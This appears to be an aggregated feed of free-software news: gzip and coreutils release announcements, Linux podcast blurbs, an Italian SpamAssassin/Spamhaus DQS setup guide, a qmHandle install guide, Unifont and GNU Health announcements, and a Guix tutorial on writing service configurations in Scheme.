This release is based on the gzip git repository, available as
git clone https://https.git.savannah.gnu.org/git/gzip.git
with commit e6263160768c73f6117f3c1de78291a60f2cb796 tagged as v1.15.
For a summary of changes and contributors, see:
https://gitweb.git.savannah.gnu.org/gitweb/?p=gzip.git;a=shortlog;h=v1.15
or run this command from a git-cloned gzip directory:
git shortlog v1.14..v1.15
This release was bootstrapped with the following tools:
Autoconf 2.73.1-b400b
Automake 1.19
Gnulib 2026-09-04 331c8d065a8a753de71f084f068473ccd5e4c34a
NEWS
* Noteworthy changes in release 1.15 (2026-09-20) [stable]
** Bug fixes
gzip no longer can mistakenly remove the wrong file if some other
process simultaneously renames a gzip destination's ancestor.
[bug present since the beginning]
gzip -d no longer rejects PKZIP signatures, local header, and data
descriptors. These can appear in well-formed streamed zip files.
[bug present since the beginning]
gzip diagnostics now quote file names containing unusual characters.
[bug present since the beginning]
A use of uninitialized memory on some malformed inputs has been fixed.
[bug present since the beginning]
A buffer overflow has been fixed when decompressing an .lzh file
after decompressing a .Z file.
[bug present since the beginning]
When decompressing an .lzh file, the output is no longer corrupted
when an internal bit buffer is not properly cleared.
[bug present since the beginning]
When decompressing an .lzh file after another .lzh file, the output is
no longer corrupted by the previous file's decoding table.
[bug present since the beginning]
gzip --synchronous no longer fails to synchronize unreadable parent
directories on platforms like GNU/Linux that have O_PATH, or to
synchronize any parent directories on platforms like FreeBSD that
have O_SEARCH but not O_PATH.
[bug introduced in gzip-1.7]
On old-fashioned or limited platforms lacking mktemp, gzexe, zdiff
and znew no longer have a race when creating a temporary file.
[bug present since the beginning]
** Changes in behavior
gzip no longer insists on the "C" locale; instead, it follows the
typical practice of using the locale specified by the environment.
This change, which is needed for file name quoting, can affect the
format of floating-point numbers output by gzip's -l and -v options.
Diagnostics are still in English, though.
gzip -l now reports "-Inf%" instead of "0.0%" for the infinite
compression ratio of an empty file.
znew's -P option is now ignored, with a warning. It was present
only to improve performance, and its implementation had too many
bugs to be worth supporting.
** Platforms no longer supported
The following platforms (or earlier) are no longer supported because
their old multibyte libraries do not work well enough: FreeBSD 4.11
(2005), HP-UX 11.00 (1997), Minix 3.1.8 (2010), MS-Windows 8.1
(2013) via mingw without UCRT.
I'm very pleased to announce the release of a new version of GNU PSPP. PSPP is a program for statistical analysis of sampled data. It is a free replacement for the proprietary program SPSS.
Changes from 2.1.1 to 2.1.2:
Please send PSPP bug reports to bug-gnu-pspp@gnu.org.
How we approach the development and testing of our infrastructure as code, and how it differs at the homelab and professional scales. Plus our Ansible best practices.
Support us on patreon and get an ad-free RSS feed with some early episodes
Subscribe to the RSS feed.
Some of the ways you can mitigate the ridiculous hardware prices, and designing a small business LAN.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
FreeBSD’s Release Cycle: What It Means for Your Upgrade Schedule
Free consulting
We were asked about designing a small business LAN.
Fedora 45 beta has been released with updated Gnome, KDE Plasma, and kernel.
Abbiamo già creato un account presso la Blocklist via DNS Query in precedenza, nella pagina dedicata a RBL (si veda qui).
SpamaAssassinIntanto disabilitiamo le query ordinarie aggiungendo questo in /etc/mail/spamassassin/local.cf:
# disable spamhaus score URIBL_DBL_SPAM 0 score URIBL_DBL_PHISH 0 score URIBL_DBL_MALWARE 0 score URIBL_DBL_ABUSE 0 score URIBL_DBL_ABUSE_REDIR 0 score URIBL_DBL_ABUSE_PHISH 0 score URIBL_DBL_ABUSE_MALWARE 0 score URIBL_DBL_BLOCKED 0 score URIBL_DBL_BLOCKED_OPENDNS 0 # disable DNSWL score RCVD_IN_DNSWL_BLOCKED 0 score RCVD_IN_DNSWL_MED 0 score RCVD_IN_DNSWL_HI 0 score RCVD_IN_DNSWL_LOW 0
Scaricare l'ultimo pacchetto:
git clone https://github.com/spamhaus/spamassassin-dqs
Le cose ora vanno in modo leggermente diverso a seconda che il servizio HBL sia abilitato o meno (lo è solo per gli account a pagamento).
Entrare nella cartella 4.0.0+ e lanciare il test per confermare che la nostra chiave sia valida anche per HBL (il chè non significa che sia pure abilitata):
sh hbltest.sh Please input your DQS key: xxxxxxxxxxxxxxxxxxxxxxxxxxxx Looking up test record for HBL... done Your DQS key xxxxxxxxxxxxxxxxxxxxxxxxxxxx is enabled for HBL You can copy sh_hbl.cf and sh_hbl_scores.cf if you want HBL enabled
Ora è necessario modificare alcuni dei file di configurazione con il contenuto esatto della chiave (sostituire xxxxxxxxxxxxxxxxxxxxxxxxx con il contenuto della chiave):
sed -i -e 's/your_DQS_key/xxxxxxxxxxxxxxxxxxxxxxxxxxx/g' sh.cf sed -i -e 's/your_DQS_key/xxxxxxxxxxxxxxxxxxxxxxxxxxx/g' sh_hbl.cf
Se si sta usando FreeBSD, i comandi cambiano leggermente:
sed -i "" -e 's/your_DQS_key/xxxxxxxxxxxxxxxxxxxxxxxx/g' sh.cf sed -i "" -e 's/your_DQS_key/xxxxxxxxxxxxxxxxxxxxxxxx/g' sh_hbl.cf
Se non si ha HBL abilitato, è sufficiente copiare i due file seguenti nella cartella di configurazione:
cp sh.cf sh_scores.cf /etc/mail/spamassassin
Ora si proceda più sotto nella sezione test.
Se invece si ha HBL abilitato, modificare il file sh.pre nella prima riga:
loadplugin Mail::SpamAssassin::Plugin::SH <config_directory>/SH.pm
E' necessario sostituire <config_directory> con la propria cartella di configurazione, che è /etc/mail/spamassassin. Quindi la riga diventa:
loadplugin Mail::SpamAssassin::Plugin::SH /etc/mail/spamassassin/SH.pm
Se si ha una chiave con HBL abilitato, e assumendo che la cartella di configurazione sia /etc/mail/spamassassin, copiare lì i file di configurazione:
cp SH.pm sh.cf sh_scores.cf sh_hbl.cf sh_hbl_scores.cf sh.pre /etc/mail/spamassassin
Ora abilitare HBL modificando il file /etc/mail/spamassassin/v342.pre. E' necessario localizzare la riga:
loadplugin Mail::SpamAssassin::Plugin::HashBL
ed eventualmente rimuovere il cancelletto # iniziale.
Riavviare SpamAssassin:
spamdctl restart
Testare il setup in questo modo:
spamassassin --lint
se non si ottiene nulla come output allora il test è andato bene.
Andare alla pagina https://blt.spamhaus.com/ e inserire un indirizzo email valido. Quindi aggiungere la chiave DQS e lanciare i test:
Si otterrà un risultato del genere:
Qui HBL è disabilitato, mentre i messaggi con i test DBL e ZRD hanno apparentemente fallito. Assicurarsi che invece i messaggi con il test DBL e ZRD siano stati bloccati da SpamAssassin controllando la cartella spam::
Content analysis details: (19.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.7 SPF_HELO_SOFTFAIL SPF: HELO does not match SPF record (softfail)
-0.0 BAYES_20 BODY: Bayes spam probability is 5 to 20%
[score: 0.0573]
0.0 DMARC_MISSING Missing DMARC policy
2.8 TXREP TXREP: Score normalizing based on sender's reputation
8.0 SH_DBL_HEADERS A domain found in headers (mail from, reply-to etc..)
is listed in DBL
[dbl-dqs.blt.spamhaus.net]
8.0 SH_DBL_BODY The domain of an email address found in body is listed in
DBL
[dbl-dqs.blt.spamhaus.net]
Content analysis details: (12.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
8.0 SH_HELO_ZRD_VERY_FRESH The domain used in the HELO string is listed
in ZRD and the domain age is between 0 and 4
hours
[zrd-dqs.blt.spamhaus.net]
-0.0 BAYES_20 BODY: Bayes spam probability is 5 to 20%
[score: 0.1579]
1.0 FORGED_SPF_HELO No description available.
0.4 KHOP_HELO_FCRDNS Relay HELO differs from its IP's reverse DNS
0.0 DMARC_MISSING Missing DMARC policy
2.7 TXREP TXREP: Score normalizing based on sender's reputation
A new article by Jacob Bachmeyer and Richard Stallman
to answer the question, What's Wrong with GitHub?
has been published at https://www.gnu.o ... -with-github.html
Software developers, the GNU Project urges you to avoid
hosting your repositories on GitHub. This is to avoid
being on the receiving end of harmful practices, and
avoid leading others to be victims too. This article
focuses on a few of GitHub's worst problems, and the
wrongs and harm they can do.
16 September 2026 Unifont 18.0.01 is now available. This release is aligned with Unicode 18.0.0, adding almost 400 new glyphs.
Download this release from GNU server mirrors at:
https://ftpmirror ... /unifont-18.0.01/
or if that fails,
https://ftp.gnu.o ... /unifont-18.0.01/
or, as a last resort,
ftp://ftp.gnu.org ... /unifont-18.0.01/
These files are also available on the unifoundry.com website:
https://unifoundr ... /unifont-18.0.01/
Font files are in the subdirectory
https://unifoundr ... 0.01/font-builds/
A more detailed description of font changes is available at
https://unifoundr ... nifont/index.html
and of utility program changes at
https://unifoundr ... nt-utilities.html
Information about Hangul modifications is at
https://unifoundr ... hangul/index.html
and
http://unifoundry ... l-generation.html
Enjoy!
Paul Hardy, GNU Unifont Maintainer
Ubuntu 26.10 has completed its migration to the Rust-based coreutils.
Dear community
The XI edition of GNUHealthCon will take place in Gran Canaria, Spain, this December 18th, and you are invited!
This edition is special for us because we will be celebrating the 20th anniversary of the first GNU Solidario mission that took place in Santiago del Estero, Argentina in October 2006. That remote rural school, the teachers, the children and their families generated a profound inspirational impact on me, so deep that since then I have dedicated most of my life to the field Social Medicine. GNU Health is both a result of that experience, and the main channel to deliver freedom and dignity around the globe.
In this edition, besides the technical and social talks, we will have the space to commemorate these 20 years. During these two decades we have gone through many things. We have many happy stories to share, but we also have sad ones, that made us learn and be more resilient. Stories of people from countries around the world that have conformed this wonderful community around GNU Solidario. Stories and experiences that have made GNU Health the leading Free/Libre Health and Hospital Information System.
I want to personally invite all of you who has been part of this beautiful journey: The GNU community; hospitals and health institutions around the world that use GNU Health; sister projects (Tryton, Orthanc,..); national and regional governments that have adopted GNU Health; sponsors; the open science and academic communities; developers and core team members… you are all part of the success of the project and we have to celebrate this edition together.
GHCON2026 will be on Friday, December 18th in Gran Canaria. The night before we will have the pre-conference party. Most probably, the event will be in a hotel in the mountains, and the idea is to arrive to the hotel on Thursday 17th. We will update in our official Mastodon account. (look for #GHCon2026 hashtag)
Please make sure you register (https://www.gnuhealth.org/ghcon/2026/) so we can prepare de logistics.
Looking forward to meeting personally all of you, and have a wonderful time in Gran Canaria!
Love and happy hacking
Luis
We answer your questions including the last new distro we tried, what distro we’d switch to if ours went away, whether we should limit our computer use, our vision for the Linux desktop, and our unpopular Linux opinions.
Tailscale
Tailscale is a modern, secure, zero-trust connectivity platform. Tailscale’s personal plan will be free forever for up to 6 users and unlimited devices! No credit card required. Go to tailscale.com/lnl to get started. If you’d like to bring Tailscale to work, use code latenightlinux for three free months of any paid plan.
Support us on patreon and get an ad-free RSS feed with some early episodes
This is to announce coreutils-9.12, a stable release.
Notable changes include:
env supports a new --env0-from=FILE option to support
full persistence and restoration of the environment.
This also supports e.g. filtering like:
env -i --env0-from=<( env -0 | sed -z ... )
Commands now have safer terminal output,
avoiding confusing output or corrupted terminal state.
Commands that traverse directories no longer
fail merely if files are being removed in parallel.
ptx has improved robustness, avoiding potential infinite loops.
tee fixes robustness issues introduced in the previous release,
where it could go into an infinite loop or incorrectly error
in the presence of short writes.
stty is more accepting of variations in requested speed.
sort(1) will now better use available memory
and parallel operation when reading from pipes.
There have also been many bug fixes and other changes
as summarized in the NEWS below.
There have been 288 commits by 16 people in the 21 weeks since 9.11.
Thanks to everyone who has contributed!
Arun Bhattacharya (1) Leonid Evdokimov (1)
Ayesha Shafique (1) Mateusz Nosek (1)
Bruno Haible (5) Max Downey Twiss (1)
Collin Funk (98) Paul Eggert (12)
Guanqiang Han (1) Pádraig Brady (118)
H. Peter Anvin (1) Sylvestre Ledru (33)
Ismail Ramzi (1) aizu-m (2)
Iván Ezequiel Rodriguez (2) oech3 (11)
Pádraig [on behalf of the coreutils maintainers]
==================================================================
Here is the GNU coreutils home page:
https://gnu.org/s/coreutils/
Here are the compressed sources:
https://ftp.gnu.org/gnu/coreutils/coreutils-9.12.tar.gz (16MB)
https://ftp.gnu.org/gnu/coreutils/coreutils-9.12.tar.xz (6.4MB)
Here are the GPG detached signatures:
https://ftp.gnu.org/gnu/coreutils/coreutils-9.12.tar.gz.sig
https://ftp.gnu.org/gnu/coreutils/coreutils-9.12.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Here are the SHA256 and SHA3-256 checksums:
SHA256 (coreutils-9.12.tar.gz) = FMv1pN4Me3+jufp/raTFiy3v4zM2qo/YPXYixcTr3BM=
SHA3-256 (coreutils-9.12.tar.gz) = 14aJyepDW60jsaL4cq5T/UFMwUJEkXDyUqZEQlsnLFM=
SHA256 (coreutils-9.12.tar.xz) = pIAZhVlzPps9qZnpBUOsb4iKLKpUTY1mTFofF+Uo4hA=
SHA3-256 (coreutils-9.12.tar.xz) = cKcyD1sxJr1tdWgWbh0+OKwOEIpaf2ACThlaHZooZDA=
Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'
from coreutils-9.2 or OpenBSD's cksum since 2007.
Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'
from coreutils-9.8.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify coreutils-9.12.tar.gz.sig coreutils-9.12.tar.gz
The signature should match the fingerprint of the following key:
pub rsa4096/0xDF6FD971306037D9 2011-09-23 [SC]
Key fingerprint = 6C37 DC12 121A 5006 BC1D B804 DF6F D971 3060 37D9
uid [ultimate] Pádraig Brady <P@draigBrady.com>
uid [ultimate] Pádraig Brady <pixelbeat@gnu.org>
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
gpg --locate-external-key P@draigBrady.com
gpg --recv-keys DF6FD971306037D9
wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=coreutils&download=1' | gpg --import -
As a last resort to find the key, you can try the official GNU
keyring:
wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify coreutils-9.12.tar.gz.sig coreutils-9.12.tar.gz
This release is based on the coreutils git repository, available as
git clone https://https.git.savannah.gnu.org/git/coreutils.git
with commit c0f8514d989184921d9b12a4d103a7b23abc5af8 tagged as v9.12.
For a summary of changes and contributors, see:
https://gitweb.git.savannah.gnu.org/gitweb/?p=coreutils.git;a=shortlog;h=v9.12
or run this command from a git-cloned coreutils directory:
git shortlog v9.11..v9.12
This release was bootstrapped with the following tools:
Autoconf 2.73.16-0a513
Automake 1.18.1
Gnulib 2026-09-07 106e9b2384d08a1696fcbd40cbab52237943f208
Bison 3.8.2
NEWS
* Noteworthy changes in release 9.12 (2026-09-14) [stable]
** Bug fixes
'chcon', 'chgrp', 'chmod', 'chown', 'du', 'ls' which traverse hierarchies with
-R, no longer fail merely because files may be being removed in parallel.
[This bug was present in "the beginning".]
'comm - -' no longer closes standard input twice. Previously it would
mistakenly exit with a nonzero status.
[This bug was present in "the beginning".]
'cp', 'install', and 'mv' now fall back to a standard copy
if a --reflink=auto clone fails due to EDQUOT, ENOMEM, or ENOSPC.
E.g., with XFS, a clone can exhaust metadata space in an allocation
group, while a standard copy works.
[bug introduced in coreutils-9.2]
'cut -d' with multiple multi-byte delimiter options specified
will correctly match the last delimiter specified.
[bug introduced with multi-byte support in coreutils-9.11]
'date -d '1-2-3' "+%_D"' no longer propagates flags like _ and - to the year
component of the %D date specifier, keeping consistent component formatting.
[bug introduced in coreutils-8.31]
'du --max-depth=N' now exits with a nonzero exit status and an error message
if N is negative. Previously it behaved as if N were zero.
[bug introduced in coreutils-9.4]
'factor' avoids a buffer over-read (CWE-126) for certain values.
[bug introduced in coreutils-9.8]
'head' and 'tail' now quote names in file headers when needed.
[This bug was present in "the beginning".]
'ls --color' no longer reads freed memory when LS_COLORS sets "ln=target"
and later becomes unparsable, e.g., LS_COLORS='ln=target:x'.
[This bug was present in "the beginning".]
'mv' now warns when copying extended attributes fails with ENOTSUP, e.g., when
moving files to a file system that does not support them.
[bug introduced in coreutils-7.3]
'numfmt', 'printf', and 'seq' on Solaris, no longer output an extraneous e+00
when using a large precision like "%.5119f".
[This bug was present in "the beginning".]
'pinky -l' no longer no longer prints output in the incorrect order when
standard output is fully buffered, e.g., when redirected to a file.
[bug introduced in coreutils-9.10]
'pr' now exits gracefully upon exceeding internal accounting limits,
like when processing large tab stops.
[This bug was present in "the beginning".]
'ptx -G' no longer loops forever when the output width is smaller than
twice the gap size, as with 'ptx -G -w4', or when a long reference
leaves that little room, as with 'ptx -G -r'.
[This bug was present in "the beginning".]
'ptx -W' no longer loops forever with a word regular expression that can
match the empty string, like: echo ab | ptx -W 'a*'.
[This bug was present in "the beginning".]
'shred' no longer blocks when opening a FIFO that has no readers.
[This bug was present in "the beginning".]
'stty' no longer fails when the system uses speed encodings that
are variations of the requested speed.
[bug introduced in coreutils-9.8]
'tee' no longer loops infinitely after writing all output if a write call sets
errno to EAGAIN.
[bug introduced in coreutils-9.11]
'tee' no longer treats short writes as errors.
[bug introduced in coreutils-9.11]
'test' no longer treats '-a' and '-o' as operators when given as strings to a
binary operator. E.g., 'test -a -a -a' exits successfully instead of exiting
with an error.
[This bug was present in "the beginning".]
'truncate --reference=R' no longer hangs when R is a FIFO with no readers.
[bug introduced in coreutils-8.17]
'unexpand -t' no longer overflows a heap buffer, for tab values > SIZE_MAX/16,
or with multi-byte blank characters longer than the tab value.
[bugs introduced in coreutils-9.11]
'uniq -w' no longer overruns the read buffer in multibyte locales.
[bug introduced in coreutils-9.5]
'wc' no longer reads past the end of a lookup table in legacy multibyte
locales like SHIFT-JIS where a single byte can decode to a wide character.
[bug introduced in coreutils-9.5]
Messages from Gnulib are no longer mistranslated in non-English locales.
[bug introduced in coreutils-9.6]
** New Features
'env' now supports --env0-from=FILE to read NUL-delimited environment entries
from a file. With -i, entries are preserved exactly, allowing full
round-tripping of environments containing duplicate or nonstandard entries.
'stat' and 'tail' now know about the "failfs" and "nullfs" file system types.
stat -f -c%T now reports the file system type,
and tail -f uses inotify for these file systems.
uname adds the -A,--all-labeled option to label all output, one item per line.
** Changes in behavior
'env' and 'printenv' now quote printed environment variables honoring the
QUOTING_STYLE environment variable, defaulting to shell-escape style. This
avoids printing arbitrary data to the terminal and allows the output to be
sourced by a POSIX shell.
'ls' -w,--width no longer includes '\n' in the width of a line.
I.e., the width or $COLUMNS is interpreted to be an _inclusive_ maximum.
'stat' now uses shell quoting when required, to more robustly escape
file names. Previously it only quoted file names with the %N format.
The default quoting honors the QUOTING_STYLE env variable (like %N).
Also %Qn is a newly supported format combination to quote file names,
leaving the existing %n format for when quoting is not desired.
** Improvements
When built with the configure option '--with-wtmpdb', invocations of
'who /var/log/wtmp' and 'users /var/log/wtmp' use the wtmpdb database
instead of the file /var/log/wtmp. This makes them Y2038-safe.
'cut -w' operates more efficiently when extracting the start of a line
in multi-byte locales, giving 4x more throughput with typical input.
'df', 'du', 'ls', 'od', 'pr', and 'sort' now escape invalid arguments in error
messages for options expecting an integer.
'env -0, and 'printenv -0' now explicitly set binary mode on output
so that no CRLF translation is done e.g., on windows.
'install -C' will now avoid updating file metadata when the destination
already has the appropriate ownership and permissions.
'basename', 'dirname', 'du', 'readlink', and 'realpath' now quote output in
shell-escape style when standard output is a terminal. The QUOTING_STYLE
environment variable can be used to adjust or disable the quoting.
'ls -m' now quotes files names containing commas when appropriate,
so users can better distinguish separating commas.
'ls' now replaces newlines in file names if ambiguous with separators.
Previously newlines were protected only when outputting to a terminal.
'sort' will now better use available memory and parallel operation
when reading from unknown sized inputs like pipes.
'uniq -c' now operates up to 2.5x times faster on systems with unlocked stdio
functions.
** Build-related
'logname' now builds, where getlogin() is replaced (e.g. with musl),
and systemd libs are being used, by linking the required libraries.
The multi-call binary built with configure --enable-single-binary is reduced
in size by around 10KB through the more efficient reuse of the 'test' code
by '[', and the 'true' code by 'false'.
configure no longer accepts the --with-linux-crypto option, which allowed
cksum, md5sum, and sha*sum to use the Linux AF_ALG API. This API will be
deprecated in Linux 7.2 and is less performant than OpenSSL.
The configure option '--enable-systemd' is renamed to '--with-systemd'.
The option '--enable-systemd' was a misnomer and is now deprecated.
The 'sort' binary now uses the UAPI Group's .note.dlopen ELF note
to indicate its dependency on libcrypto.
Chris needs a solution for his family to watch ripped media while travelling, and Gary has a complex but cool travel network setup.
Support us on Patreon and get an ad-free RSS feed with some early episodes
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
A Linux developer used AI to fix bottlenecks that caused problems when building the kernel. The resulting AI-generated code needed a lot of work.
A BGP hijack involved some basic errors, Microsoft teaches people to ignore warnings in Windows, Zoom appears to be reading the clipboard on X11, why a non-US open certificate authority is feasible in theory, and keeping a NAS powered on as little as possible.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
News/discussion
BGP hijack infecting networks caused by a comedy of errors that’s not funny at all
Windows bug incorrectly tells users that Microsoft Defender Antivirus is turned off
Free consulting
We were asked about keeping a NAS powered on as little as possible.
Brazilian patent BRPI0109962B1 has expired, which means that DivX and Xvid are no longer problematic for Linux, but it doesn’t mean that video is all of a sudden fully unleashed.
qmHandle è un semplice programma che consente di visualizzare e di gestire la coda dei messaggi.
pgrep as a fallback when pidof is unavailableenv in Perl shebang for portability-x and -X parametr for remove email by To/Cc/Bcc by @Stetinac in #1start/stop qmail command changed to daemontools svcScaricare da sourceforge e installare il binario:
wget https://github.com/sagredo-dev/qmHandle/archive/refs/tags/v1.3.5.tar.gz tar xzf v1.3.5.tar.gz cd qmHandle-1.3.5 chown -R root:root . cp qmHandle /usr/local/bin
sei hai Debian GNU/Linux con il suo pacchetto qmail edita qmHandle e decommenta
#my ($stopqmail) = '/etc/init.d/qmail stop';
# qmHandle --help
qmHandle v1.3.5
Copyright 1998-2003 Michele Beltrame
Available parameters:
-a : try to send queued messages now (qmail must be running)
-l : list message queues
-L : list local message queue
-R : list remote message queue
-s : show some statistics
-mN : display message number N
-dN : delete message number N
-fsender : delete message from sender
-F're' : delete message from senders matching regular expression re
-Stext : delete all messages that have/contain text as Subject
-h're' : delete all messages with headers matching regular expression re (case insensitive)
-b're' : delete all messages with body matching regular expression re (case insensitive)
-H're' : delete all messages with headers matching regular expression re (case sensitive)
-B're' : delete all messages with body matching regular expression re (case sensitive)
-xaddr : delete all messages where recipient address matches 'addr' (To/Cc/Bcc)
-X're' : delete all messages where recipient address (To/Cc/Bcc) matching regular expression re
-t're' : flag messages with recipients in regular expression 're' for earlier retry (note: this lengthens the time message can stay in queue)
-D : delete all messages in the queue (local and remote)
-V : print program version
Additional (optional) parameters:
-c : display colored output
-N : list message numbers only
(to be used either with -l, -L or -R)
You can view/delete multiple message i.e. -d123 -v456 -d567
Audacity’s new major release makes it more like a proper digital workstation, Debian finally gets off the genAI fence and disappoints some of us, California exempts Linux from terrible age verification laws, and Asahi boots on M3 Macs. With guest host Shane from Hybrid Cloud Show.
News
Debian Votes To Allow “Responsible Use Of Generative AI”
Results for LLM usage in Debian
Retiring from the Project (vv221)
California lawmakers unanimously pass Linux exemption from age-verification law
M2: Episode 1 (or, Asahi Linux on M3)
Support us on patreon and get an ad-free RSS feed with some early episodes
Guix system and Guix home introduce the concept of services. These provide users
with a way to control background processes, commonly refereed as
daemons, as well as ways of
controlling the setup of files. For example,
openssh-service-type
is a service which controls a SSH
daemon. In contrast,
etc-service-type
is a service that populates the contents of the /etc directory.
One peculiarity of Guix services is that it's customary to provide Scheme bindings for the different fields. By that I mean that the different fields of the configuration of most services will be a type. The benefit of this is that users get a uniform configuration language for their services, at the cost of additional complexity when developing the service. Which is why, for a long time, Guix users seem to struggle with defining complex configurations. There are a number of reasons for this, we will try to close the gap today by going through defining a configuration for Goimapnotify.
This blog post assumes that the reader is somewhat familiar with Guix and knows how to setup a development environment for it. If that's not the case, read The Perfect Setup and Using Guix interactively.
A Goimapnotify configuration is written in
YAML. Therefore, we will need to serialize
the different Guile Scheme fields to this format. Let's take the example
configuration that the author gives in the project's
README.md:
configurations:
- host: example.com
port: 143
tls: true
tlsOptions:
rejectUnauthorized: false
starttls: true
idleLogoutTimeout: 15
username: USERNAME
alias: ExampleCOM
password: PASSWORD
xoAuth2: false
boxes:
- mailbox: INBOX
onNewMail: 'mbsync examplecom:INBOX'
onChangedMail: 'mbsync examplenet:INBOX'
onChangedMailPost: SKIP
onNewMailPost: SKIP
- hostCMD: COMMAND_TO_RETRIEVE_HOST
port: 993
tls: true
tlsOptions:
rejectUnauthorized: true
starttls: true
username: ''
usernameCMD: ''
password: ''
passwordCMD: ''
xoAuth2: false
onNewMail: ''
onNewMailPost: ''
onChangedMail: ''
onChangedMailPost: ''
onDeletedMail: ''
onDeletedMailPost: ''
boxes:
- mailbox: INBOX
onNewMail: 'mbsync examplenet:INBOX'
onNewMailPost: SKIP
onChangedMail: 'mbsync examplenet:INBOX'
- mailbox: Junk
onNewMail: 'mbsync examplenet:Junk'
onNewMailPost: SKIPJust by looking at the hierarchy we can already envision how to organize our scheme records. We will need the following:
home-goimapnotify-configuration-fieldsgoimapnotify-configurationgoimapnotify-box-configurationgoimapnotify-tls-options-configurationThe final configuration that the service for Goimapnotify will rely on, will be
home-goimapnotify-configuration-fields. It will contain a configurations
field where each item will be a goimapnotify-configuration; each box in those
configurations will be a goimapnotify-box-configuration. Additionally, each of
those configurations will have an optional
goimapnotify-tls-options-configuration.
The (gnu services configuration) module provides us with the API that we need
to define these configurations. The most important helpers for defining
configurations are:
define-configuration: For configurations that need to serialize fields into
a different format, generally configuration files.
define-configuration/no-serialization: For configurations that do not need
to emit any files. Generally all the fields are consumed by the Shepherd
services that rely on the configuration but no translation from Scheme to a
different format is needed.
In our case, we need to translate the different configuration fields to YAML, so
we will need to use define-configuration.
The following sections are written so you can follow along, you are encouraged to drop into a REPL (short for read-eval-print loop) and import the required module:
,use (gnu services configuration)goimapnotify-tls-options-configurationTo make it easy for ourselves, we will start form the in-out, after all, you wouldn't want to build a house from the rooftop, would you?
(define-configuration goimapnotify-tls-options-configuration
(reject-unauthorized?
(boolean #f)
"Whether to reject unauthorized TLS certificates.")
(starttls?
(boolean #f)
"Whether to use STARTTLS.")
(prefix goimapnotify-))evaluating the above snippet will throw an unbound variable exception, bear with me.
Refer to the
manual
for an in-depth explanation of the syntax of define-configuration.
The first argument is the name of the configuration object,
goimapnotify-tls-options-configuration in this case. After it, we define the
different typed fields. We are defining boolean fields that are, by default, set
to false. The biggest source of confusion when defining configurations comes
because define-configuration is a macro that introduces identifiers that do
not appear in the source code—it's an unhygienic
macro. That
means that the macro will expand to code which defines symbols that are not
visible when reading the source file.
One can inspect the expansion of the macro by using the ,expand REPL command. It will be quite verbose, so don't try to read all of it, instead search through it; you will find some revealing things, such as:
scheme@(gnu home services mail)> ,expand (define-configuration goimapnotify-tls-options-configuration
(reject-unauthorized?
(boolean #f)
"Whether to reject unauthorized TLS certificates.")
(starttls?
(boolean #f)
"Whether to use STARTTLS.")
(prefix goimapnotify-))
$20 = (begin ...
(define goimapnotify-tls-options-configuration? ...)
(define goimapnotify-tls-options-configuration-reject-unauthorized? ...)
(define goimapnotify-tls-options-configuration-starttls? ...)
...
(define <goimapnotify-tls-options-configuration> ...)
...
(define goimapnotify-tls-options-configuration ...)
(define goimapnotify-tls-options-configuration-fields
((@@ (gnu services configuration) list)
(let* ((name (let ((x 'reject-unauthorized?)) x)) ...
(serializer (let ((x goimapnotify-serialize-boolean)) x)) ...)
...)
(let* ((name (let ((x 'starttls?)) x)) ...
(serializer (let ((x goimapnotify-serialize-boolean)) x)) ...)
...))))In the previous snippet, ... represents omitted code. As you can see from the
macro expansion, define-configuration introduces quite a few identifiers. You
may recognize the shared prefix in those identifiers, that's right, it's the
prefix specified by that last field that we didn't explain from the
configuration definition, (prefix goimapnotify-).
By inspecting the macro expansion, it's easy to understand what happens under the hood. When a prefix is specified, we instruct the macro to append that prefix to all the generated identifiers. This is useful to avoid naming collisions; for example, when defining the configuration in a module with other configuration records that serialize to different formats. After all, it's not the same to serialize to YAML than to INI, or any other format a tool may require.
Remember that unbound variable problem I mentioned before? If you paid close
attention to the macro expansion, you may have noticed those references to
goimapnotify-serialize-boolean, those are our unbound variables. The macro
expects us to define these serialization procedures, let's do that.
Since the configuration machinery knows nothing about the output format, we must
define how this translation happens. In our case, we are translating to YAML. By
looking at the example configuration provided by the Goimapnotify developers, we
can see that the field names are written in camel case, and their respective
values are separated from the names through the : character.
Let's start by making a function that takes a symbol and transforms it into a
string that's a camelized version of that symbol. We will use
object->camel-case-string from the (gnu home services utils) module:
,use (gnu home services utils)(define (camelize-field-name field-name)
(let ((str (object->camel-case-string field-name)))
(if (string-suffix? "?" str)
(string-drop-right str 1)
str)))
;; Usage: (camelize-field-name 'reject-unauthorized?) => "rejectUnauthorized"In YAML, there is no convention of suffixing booleans with a ?, so our
camelizer drops it when found.
camelize-field-name gives us a field name, but we want to serialize the value
too. Let's define a field serialization procedure to help us:
(define (goimapnotify-serialize-field field-name val)
"The mapping is used to serialize certain FIELD-NAMES specially."
(let* ((field-name-mapping '((host-command . hostCmd)
(user-name . username)
(user-name-command . usernameCmd)
(password-command . passwordCmd)))
(field-name* (or (assq-ref field-name-mapping field-name)
field-name)))
(format #f "~a: ~s~%"
(camelize-field-name field-name*)
val)))
;; Usage: (goimapnotify-serialize-field 'reject-unauthorized? 'true) => "rejectUnauthorized: true\n"Notice how we introduced field-name-mapping to tailor the field name passed to
camelize-field-name to emit the specific naming that Goimapnotify expects. In
Guix, we have a specific naming convention, so we want fields like user-name
to map to username (instead of userName) and fields like password-command
to map to passwordCmd (instead of passwordCommand).
That's enough to serialize most values to YAML, but there's an extra Guix-specific feature we should make use of to make the service more convenient to users: G-Expressions.
